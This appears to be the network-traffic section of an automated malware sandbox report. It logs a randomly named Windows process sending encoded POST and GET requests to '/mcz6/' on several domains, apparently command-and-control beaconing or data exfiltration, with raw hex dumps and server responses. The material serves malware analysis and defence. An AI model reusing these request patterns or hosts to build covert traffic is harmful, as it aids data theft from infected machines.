41 74 6d 66 30 32 50 71 4e 69 77 67 55 46 7a 47 53 7a 6a 33 68 32 48 65 30 52 65 74 6a 5a 43 30 44 61 42 77 57 54 47 49 6b 75 53 30 70 2b 51 7a 36 62 58 33 77 6b 6e 4e 68 70 63 6c 72 75 54 4a 42 4d 46 71 44 32 72 78 55 6c 53 35 69 43 41 35 58 59 68 77 3d 3d Data Ascii: 1Joh=vXcZFtPhEKWJRbYEooLI9z1pMkDP4Q7DP6VefjmNz5WFnPdPtgXzgp/BGK9K2c5h+MpFmzWHGeppCTAaMNNkLtrvDcGLFZNidZCZNAcAU0a7cuACZA3LFuCGTh3QJ7Atmf02PqNiwgUFzGSzj3h2He0RetjZC0DaBwWTGIkuS0p+Qz6bX3wknNhpclruTJBMFqD2rxUlS5iCA5XYhw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49721	57.151.38.169	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:24.486053944 CEST	1775	OUT	POST /mcz6/ HTTP/1.1 Host: www.allinone24.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.allinone24.shop Referer: http://www.allinone24.shop/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 76 58 63 5a 46 74 50 68 45 4b 57 4a 52 62 59 45 6f 6f 4c 49 39 7a 31 70 4d 6b 44 50 34 51 37 44 50 36 56 65 66 6a 6d 4e 7a 35 4f 46 6d 39 56 50 73 48 44 7a 68 70 2f 42 4f 71 39 61 32 63 35 47 2b 4d 68 42 6d 7a 53 35 47 63 52 70 43 77 49 61 4b 35 5a 6b 46 74 72 76 63 4d 47 4b 49 35 4e 33 64 5a 53 46 4e 41 4d 41 55 30 61 37 63 74 59 43 51 30 72 4c 44 75 43 5a 44 78 33 55 44 62 41 57 6d 66 73 41 50 71 49 56 77 54 4d 46 7a 6d 43 7a 75 68 31 32 59 75 30 58 64 74 6a 42 43 30 4f 61 42 78 36 78 47 4c 34 49 53 33 4a 2b 55 69 62 2f 42 30 55 51 38 2b 78 59 62 6e 66 54 63 2b 4e 32 4c 61 36 4c 2f 55 4d 33 45 59 6e 7a 45 59 75 4d 2b 74 63 6a 6f 31 31 4a 72 56 46 33 68 43 4d 77 45 65 65 78 39 47 6b 6d 39 45 43 48 78 75 6f 4e 57 39 59 47 73 62 6c 62 63 75 78 63 68 69 63 70 7a 51 57 67 70 68 6b 6a 76 57 58 55 61 34 49 39 34 64 44 2b 52 6b 79 6f 77 4f 6e 54 62 55 2f 39 36 48 4b 44 33 4d 46 75 52 53 2f 4b 4c 6d 79 4d 54 61 32 71 54 34 65 52 70 6d 4d 56 5a 66 67 4d 73 56 38 49 52 44 74 57 4b 50 31 75 53 [TRUNCATED] Data Ascii: 1Joh=vXcZFtPhEKWJRbYEooLI9z1pMkDP4Q7DP6VefjmNz5OFm9VPsHDzhp/BOq9a2c5G+MhBmzS5GcRpCwIaK5ZkFtrvcMGKI5N3dZSFNAMAU0a7ctYCQ0rLDuCZDx3UDbAWmfsAPqIVwTMFzmCzuh12Yu0XdtjBC0OaBx6xGL4IS3J+Uib/B0UQ8+xYbnfTc+N2La6L/UM3EYnzEYuM+tcjo11JrVF3hCMwEeex9Gkm9ECHxuoNW9YGsblbcuxchicpzQWgphkjvWXUa4I94dD+RkyowOnTbU/96HKD3MFuRS/KLmyMTa2qT4eRpmMVZfgMsV8IRDtWKP1uSJscA/25Q5Og/xPxI+y8d5GLAZlXRrzhyh4R8YMMNdaW6LdfdhAK4517ss7pbMDqRSa2vZ0noXma0ekAKzCZ7glqx0FnL+6j/ZPO4DSqi0cxIQSaqBVXzyCTPf/qEUzL4+qsmB8j2DyErZyMZfiY2+xnTkiEhxK7S1uC7wbyiNdZXi4eH1mKaA60Y8Q6dnJPvG5lxcjaekP2I0rBh0C6f3k4yI8HP3D0LQXPoOku5jyowQ7E0bEgctVLBRNf/pSSpXR5RIIGc+MM4uLGnTBCPIAAcELGujP3xNyvYpmUB4OsnRgXfAciGB+BIzIR16naYo1/RGBr9hcTDRyDBOdbbiquN0OolCexk5SIAZWjppk6mF8dWt5WdhiLo8dKiXJuJA0IOFPOhmixWPAGbgOvzC245YLwFeTtah5GKvf9rbWEkPrWI1BXejVETJdbelyAw7qd1HBXT3hQ2vms1tLJnWKn6MYCJHHhfDZ5mbFZif4D7ozelNJmZCQ1se9o0DaV8w3RZlpYRKxwRd+M5IomQB/TM5nyK3OCvuAWKFOtwtH6Eq+wwWJ6pvH7wLH6s21j4NDBIRJhN67h3TZjdQ1F5IbYnw3g7Fgm8rIKsI95yyR4B3avREJldyabatSSVyXOzpZgVO/F48jB0f/CHJnY9wp0JIgYipoWony [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49722	57.151.38.169	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:27.047625065 CEST	475	OUT	GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP29Gns/tznWejtp74GMksy59FodZgvEjUcMF+Pj4nBc1gMpqWDMKZB4BsRbutJiIudg/fevYEHw== HTTP/1.1 Host: www.allinone24.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:19:29.256321907 CEST	488	IN	HTTP/1.1 308 Permanent Redirect Date: Thu, 16 May 2024 15:19:28 GMT Content-Type: text/html Content-Length: 164 Connection: close Location: https://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP29Gns/tznWejtp74GMksy59FodZgvEjUcMF+Pj4nBc1gMpqWDMKZB4BsRbutJiIudg/fevYEHw== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>308 Permanent Redirect</title></head><body><center><h1>308 Permanent Redirect</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49723	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:34.590842962 CEST	732	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 54 37 75 44 41 77 56 54 58 31 58 64 76 64 34 44 32 46 4c 56 56 41 6e 75 6a 79 34 73 6d 37 4d 36 64 6d 77 54 65 36 2b 34 6c 30 59 68 58 38 30 5a 36 56 57 30 30 35 73 2b 39 50 54 79 46 75 68 50 5a 4e 6c 61 4e 41 4f 6a 38 49 66 44 41 79 53 76 70 2b 50 36 65 43 63 53 70 4a 63 50 4e 39 51 56 2b 51 47 58 6b 6f 55 64 78 2b 6d 38 31 38 36 46 72 72 66 64 72 61 30 50 53 49 38 52 52 6e 76 38 36 42 6d 34 35 65 2b 4c 36 78 78 77 48 68 45 57 74 65 4d 74 4b 56 61 53 6b 48 6c 75 38 33 50 4c 61 58 2b 64 56 55 47 57 72 63 4b 72 4e 71 67 71 Data Ascii: 1Joh=ur4hURH6HkX7T7uDAwVTX1Xdvd4D2FLVVAnujy4sm7M6dmwTe6+4l0YhX80Z6VW005s+9PTyFuhPZNlaNAOj8IfDAySvp+P6eCcSpJcPN9QV+QGXkoUdx+m8186Frrfdra0PSI8RRnv86Bm45e+L6xxwHhEWteMtKVaSkHlu83PLaX+dVUGWrcKrNqgq
May 16, 2024 17:19:35.267997980 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49724	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:37.117289066 CEST	756	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 53 62 2b 44 44 54 39 54 56 56 58 65 6a 39 34 44 2f 6c 4c 52 56 41 62 75 6a 32 4a 70 6d 49 34 36 64 48 73 54 66 37 2b 34 6d 30 59 68 50 4d 30 63 6e 46 57 76 30 35 51 32 39 4f 76 79 46 75 31 50 5a 4a 68 61 4e 33 36 69 2b 59 66 4e 56 69 53 2b 30 4f 50 36 65 43 63 53 70 4a 49 31 4e 39 34 56 2b 67 57 58 6c 4a 55 65 76 75 6d 2f 79 38 36 46 76 72 66 52 72 61 30 39 53 4b 5a 30 52 6c 6e 38 36 41 57 34 2b 50 2b 45 6a 42 77 37 44 68 46 47 6a 63 78 4a 52 6e 61 49 6c 55 4a 6e 71 47 32 73 51 57 65 44 45 6d 50 4e 2b 4c 4b 4d 4b 4e 70 43 63 55 4e 32 62 37 57 67 61 47 74 48 68 66 45 68 58 45 43 52 37 77 3d 3d Data Ascii: 1Joh=ur4hURH6HkX7Sb+DDT9TVVXej94D/lLRVAbuj2JpmI46dHsTf7+4m0YhPM0cnFWv05Q29OvyFu1PZJhaN36i+YfNViS+0OP6eCcSpJI1N94V+gWXlJUevum/y86FvrfRra09SKZ0Rln86AW4+P+EjBw7DhFGjcxJRnaIlUJnqG2sQWeDEmPN+LKMKNpCcUN2b7WgaGtHhfEhXECR7w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49725	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:39.655404091 CEST	1769	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 53 62 2b 44 44 54 39 54 56 56 58 65 6a 39 34 44 2f 6c 4c 52 56 41 62 75 6a 32 4a 70 6d 4a 41 36 63 31 49 54 65 63 69 34 6e 30 59 68 52 38 30 64 6e 46 58 2f 30 35 49 79 39 4f 6a 39 46 73 4e 50 62 71 70 61 4c 44 6d 69 33 59 66 4e 4e 53 54 35 70 2b 50 4b 65 43 4d 57 70 4a 59 31 4e 39 34 56 2b 6d 53 58 73 34 55 65 74 75 6d 38 31 38 36 4a 72 72 66 31 72 61 38 74 53 4b 4d 42 57 57 2f 38 30 41 47 34 38 39 6d 45 38 78 77 35 4f 42 45 44 6a 63 39 57 52 6e 47 71 6c 56 73 49 71 46 57 73 64 42 32 66 52 6d 57 57 36 4b 79 39 4c 4e 4a 55 59 77 73 56 56 35 76 30 44 6d 31 69 30 74 70 78 55 6c 58 6e 6a 71 42 72 4d 38 44 53 67 48 5a 36 77 39 63 39 44 4d 50 72 41 2b 54 4d 30 66 42 57 79 33 76 46 6f 4b 6e 49 38 73 6d 45 36 35 64 72 74 6e 38 2b 49 70 61 38 7a 54 4a 41 75 52 4a 2f 58 7a 32 54 75 49 2b 42 58 39 62 55 4f 31 59 32 43 57 4a 63 33 69 75 58 61 62 2f 79 4e 67 4a 4e 4a 68 47 45 7a 70 77 4f 34 48 34 36 75 49 36 4b 2f 46 5a 57 66 31 32 64 56 76 6a 52 38 4b 66 57 47 [TRUNCATED] Data Ascii: 1Joh=ur4hURH6HkX7Sb+DDT9TVVXej94D/lLRVAbuj2JpmJA6c1ITeci4n0YhR80dnFX/05Iy9Oj9FsNPbqpaLDmi3YfNNST5p+PKeCMWpJY1N94V+mSXs4Uetum8186Jrrf1ra8tSKMBWW/80AG489mE8xw5OBEDjc9WRnGqlVsIqFWsdB2fRmWW6Ky9LNJUYwsVV5v0Dm1i0tpxUlXnjqBrM8DSgHZ6w9c9DMPrA+TM0fBWy3vFoKnI8smE65drtn8+Ipa8zTJAuRJ/Xz2TuI+BX9bUO1Y2CWJc3iuXab/yNgJNJhGEzpwO4H46uI6K/FZWf12dVvjR8KfWGZwKhWKoLiYdiJJUWfeuwhliItm7XCm0rEjbmLxOHpdhHGkDELDS0mXIoY/38wk20LqS6Yje5MyB7ca8xGmqUPhBiKw4KCeMViMab1EkrXdYg1Gp/suuIzCcQWEkYZwwjPHnDn35JwtWaRTvGawdTuTNxJ3eKCe3lsoAqjpyDA0B9pM5PiKRkuHb2TH3dEt37BAKamLMrafIylBNGas7N76hWvSRH+iY3VR1L7Z3oHSY5yP+eX3pV3p16x2FLjITm4/cqpLII05OkHbVHQBQfmwMv7sU86zNLwzgLfgxZWROAXd+ZCmpv/UGZE3sqn/G8+3TVh/l35aYlBVZQawv75H5m4RkvZ+12DcoUrV58b1dVzkhStZOlt2lAZxCVADf70j9iU/YTubAGybD/AkQh3kyUy8jX6Qd12xkBykrCZWW2PjQ8erE0Si7LODg2VDk9MNGC+cvHlIOyttbB05i7aoLd1gMAjg1Om7AIjRE/FKE+Zb+eS/zTJIvk20WUSErNBonD3d7l4ln97iq7eQzl4Q3XLhT6GZUB7gUpgcgef5w0Ywhp5ptpwsHI32HUb0HNaoB4NCvGMlSlNxT/izKK//uMBI6awXl0yhqa59W9jYkl7tJ7seoS42WIaa71K1R3bMglJnmTIK2lT6nIRZs6rteo5RbRg6E2XI [TRUNCATED]
May 16, 2024 17:19:40.897634983 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:40 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49726	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:42.203634977 CEST	473	OUT	GET /mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:19:43.052234888 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:42 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49727	217.160.0.111	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:48.469305038 CEST	732	OUT	POST /mcz6/ HTTP/1.1 Host: www.carliente.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.carliente.com Referer: http://www.carliente.com/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 67 30 4e 4e 4f 65 45 5a 4c 6e 61 48 4e 62 45 38 56 56 65 51 73 41 70 76 48 6c 35 75 76 6e 39 64 69 5a 78 70 34 6e 66 30 50 48 37 5a 52 65 56 68 59 79 79 61 43 32 62 52 38 4b 2f 4d 5a 64 49 39 47 77 59 6a 43 6f 30 77 38 32 45 72 6c 55 48 65 4e 4c 7a 50 58 47 30 36 48 66 39 72 66 79 6d 46 62 34 32 61 69 6e 62 57 56 61 76 45 4d 71 32 72 4d 47 31 70 70 42 64 30 37 51 49 43 50 4f 63 62 63 75 75 42 6c 7a 71 67 71 6c 39 72 71 70 34 45 70 36 30 45 6c 67 52 37 71 37 30 4e 43 58 76 4c 67 70 76 36 71 6a 71 51 37 39 2f 43 52 38 46 34 57 51 63 51 77 6f 6b 66 31 37 62 59 Data Ascii: 1Joh=g0NNOeEZLnaHNbE8VVeQsApvHl5uvn9diZxp4nf0PH7ZReVhYyyaC2bR8K/MZdI9GwYjCo0w82ErlUHeNLzPXG06Hf9rfymFb42ainbWVavEMq2rMG1ppBd07QICPOcbcuuBlzqgql9rqp4Ep60ElgR7q70NCXvLgpv6qjqQ79/CR8F4WQcQwokf17bY
May 16, 2024 17:19:49.188283920 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 16 May 2024 15:19:49 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
May 16, 2024 17:19:49.194152117 CEST	212	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7
May 16, 2024 17:19:49.203298092 CEST	687	IN	Data Raw: 92 8e a8 10 87 09 4a 51 64 f7 ad 2b 45 b4 49 c9 9b f1 15 d6 3f 7f 32 07 08 80 9d d0 9b 2e fb c7 1c f8 51 e0 ae 22 e0 78 aa 93 f0 90 ce d7 58 13 5b 19 d2 de b0 fa e1 fa 69 ef 6f ea 6b ce 16 63 81 1f 3a bc 81 1e 9a be c7 d7 e3 16 d0 f5 99 af e2 38 Data Ascii: JQd+EI?2.Q"xX[iokc:8WeDZ4(:V41J}D#nu:Z3;6`9aKf.U[n6F5glJSsTEcfK\|i(eOx.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
